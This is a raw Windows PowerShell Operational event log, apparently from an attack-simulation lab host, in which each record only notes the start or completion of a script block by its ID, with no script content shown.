09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049921
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049919
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049918
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049901
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049896
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049895
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
